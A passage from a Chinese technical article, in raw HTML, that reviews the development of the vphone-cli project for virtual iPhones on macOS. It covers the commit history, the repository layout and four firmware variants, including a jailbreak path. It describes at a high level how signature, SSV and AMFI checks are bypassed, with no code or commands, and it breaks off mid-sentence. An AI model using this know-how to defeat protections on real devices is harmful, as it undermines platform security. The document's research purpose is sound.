initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">第一，固件补丁逻辑从早期Python脚本为主，迁移到Swift</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">FirmwarePatcher</span></code><span leaf="">模块为主。Python现在主要保留在CFW二进制修补、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">pymobiledevice3</span></code><span leaf="">桥接、Ramdisk构建等脚本侧。</span></p><p data-line="20" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">第二，工具入口从分散脚本变成</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">Makefile</span></code><span leaf="">统一入口。构建、签名、VM创建、固件准备、固件补丁、DFU恢复、Ramdisk、CFW、越狱安装、Host预检、AMFI绕过辅助和备份切换都集中在</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">make</span></code><span leaf="">目标中。</span></p><p data-line="22" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">第三，固件变体从单一路线扩展为</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">Patchless</span></code><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">Regular</span></code><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">Development</span></code><span leaf="">和</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">Jailbreak</span></code><span leaf="">四种路径。不同路径对应不同的安全绕过强度、调试能力和越狱能力。</span></p><p data-line="24" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">第四，虚拟机运行时不再只是显示图形界面和串口，而是通过</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">vphoned</span></code><span leaf="">和主机侧控制Socket提供文件、应用、钥匙串、剪贴板、IPA/TIPA安装、位置、电池、低电量、触控、按键、截图和自动化测试能力。</span></p><p data-line="26" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">第五，研究环境从一次性制作转向可复用生命周期管理。VM配置进入</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">config.plist</span></code><span leaf="">清单，ECID和UDID可以稳定预测，VM状态可以备份、恢复和切换。</span></p><h2 data-line="28" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18); color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">2 项目变化</span></h2><p data-line="30" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">项目初始提交发生在2026-02-27，主题是“Add vphone CLI, ObjC wrappers, and scripts”。这个提交一次性加入23个文件，大约4933行内容。这个阶段的核心目标很明确：把PCC固件里的vphone能力搬到本地macOS上，让虚拟iPhone可以进入DFU、恢复固件、启动系统，并通过SSH/VNC访问。它更像上一篇文章分析的形态，技术重点集中在“如何跑起来”。</span></p><p data-line="32" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">从2026-03-01到2026-03-08，提交密度明显上升。2026-03-04单日就有43次commit，是整个仓库演进中最密集的一天。这一阶段集中出现了JB安装流程、TXM补丁重构、Kernel JB补丁验证、GDB调试Stub、Ramdisk测试流程、vphoned雏形、录屏截图、文件传输、位置模拟、窗口状态、JB首启收尾等能力。也就是说，项目已经从“启动链补丁工具”转向“可交互研究环境”。</span></p><p data-line="34" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">从2026-03-10到2026-03-12，仓库进入结构化重构阶段。</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">d042596</span></code><span leaf="">提交完成Swift固件补丁器与CLI接线，</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">6d11093</span></code><span leaf="">加入VM manifest系统，</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">e189b80</span></code><span leaf="">加入vphoned模块化、菜单整合和SwiftUI应用浏览器。这个阶段的意义在于，早期散落在Python脚本和临时验证脚本中的固件补丁逻辑，开始沉淀为可测试、可复用、可由CLI直接调用的Swift模块。</span></p><p data-line="36" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">从2026-03-14到2026-03-20，仓库开始补齐工程化能力。新增VM备份、恢复和切换，新增</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">aria2c</span></code><span leaf="">下载支持，</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">pymobiledevice3</span></code><span leaf="">替代大部分外部libimobiledevice工具，</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">--install-ipa</span></code><span leaf="">支持自动安装，</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">boot_host_preflight.sh</span></code><span leaf="">开始承担Host环境诊断职责。这些提交解决的是“每次都手工搭环境、手工排错、手工切换”的痛点。</span></p><p data-line="38" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">从2026-03-28到2026-04-22，项目的重点又转向自动化和</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">Patchless</span></code><span leaf="">变体。主机侧</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">vm/vphone.sock</span></code><span leaf="">自动化控制Socket被加入，随后每次动作返回压缩灰度截图，适合AI或E2E测试工具闭环控制。</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">Patchless</span></code><span leaf="">路线则尝试减少传统引导链和内核安全绕过，转向文件系统重建、BuildManifest哈希更新、AEA密钥处理、GPU驱动和Mobile Activation修补等路线。2026-04中旬以后，AMFI预检、非完全关闭SIP/AMFI环境支持、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">amfidont</span></code><span leaf="">辅助脚本、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">Patchless</span></code><span leaf=""> binpack和</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">--no-vphoned</span></code><span leaf="">选项也陆续出现。</span></p><p data-line="40" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">这些提交线索说明，</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">vphone-cli</span></code><span leaf="">的目标已经从“证明iOS虚拟手机可启动”升级为“让安全研究者能够重复创建、修补、运行、控制和维护多个虚拟iOS环境”。</span></p><h2 data-line="42" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18); color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">3 项目仓库结构</span></h2><p data-line="44" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">当前仓库结构已经明显分层。</span></p><p data-line="46" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">sources/vphone-cli</span></code><span leaf="">负责Host侧主程序。它包含CLI参数解析、VM生命周期、PV=3硬件模型、Virtualization配置、窗口和菜单、虚拟机视图、触控注入、位置转发、电池同步、Touch ID转发、录屏截图、文件浏览、应用浏览、钥匙串浏览、IPA/TIPA安装和主机侧自动化Socket。</span></p><p data-line="48" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">sources/FirmwarePatcher</span></code><span leaf="">负责Swift固件补丁。它按AVPBooter、iBoot、TXM、Kernel、DeviceTree、Filesystem和Manifest拆分模块，并通过</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">FirmwarePipeline</span></code><span leaf="">按固件变体组织执行顺序。这里还引入了ARM64编码/反汇编、IM4P处理、Mach-O辅助、PatchRecord输出和测试目标。</span></p><p data-line="50" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">scripts/vphoned</span></code><span leaf="">是Guest侧守护进程。它运行在iOS虚拟机内部，通过vsock端口1337和Host侧通信。它承担HID、文件、钥匙串、应用、剪贴板、URL、设置、位置、低电量、IPA安装等能力，并在非Patchless路径下支持自更新。</span></p><p data-line="52" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">scripts/patchers</span></code><span leaf="">现在主要保留CFW阶段的动态二进制修补逻辑，例如</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">seputil</span></code><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">launchd_cache_loader</span></code><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">mobileactivationd</span></code><span leaf="">和</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">launchd</span></code><span leaf="">的jetsam补丁。</span></p><p data-line="54" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">research</span></code><span leaf="">目录则记录补丁矩阵、TXM分析、Kernel JB补丁验证、DeviceTree、manifest来源、键盘事件链路、机器标识存储和迁移总结。它已经不只是说明文档，而是补丁可靠性和跨版本迁移的依据。</span></p><h2 data-line="56" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18); color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">4 四种固件变体</span></h2><p data-line="58" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">当前项目把固件路线分为</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">Patchless</span></code><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">Regular</span></code><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">Development</span></code><span leaf="">和</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">Jailbreak</span></code><span leaf="">四种变体。它们不是简单的开关组合，而是四个不同目标的制作路径。</span></p><p data-line="60" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">Patchless</span></code><span leaf="">变体的目标是尽量减少传统意义上的引导链和内核安全绕过。它保留更多iOS安全机制，转而通过文件系统合并、trustcache生成、mtree生成、digest.db生成、SystemVolume root_hash生成、BuildManifest哈希更新和AEA重新加密来让系统接受修改后的文件系统。后续提交还加入了GPU驱动、Mobile Activation补丁、vphoned安装、binpack可选安装、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">--no-binpack</span></code><span leaf="">和</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">--no-vphoned</span></code><span leaf="">开关。它适合研究“更接近原厂安全状态”的虚拟iOS环境，但并不等于完全无修改。</span></p><p data-line="62" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">Regular</span></code><span leaf="">变体是上一篇文章主线的延续。它会绕过AVPBooter、iBSS、iBEC、LLB、TXM和Kernel中的关键签名、SSV、APFS、AMFI、launch 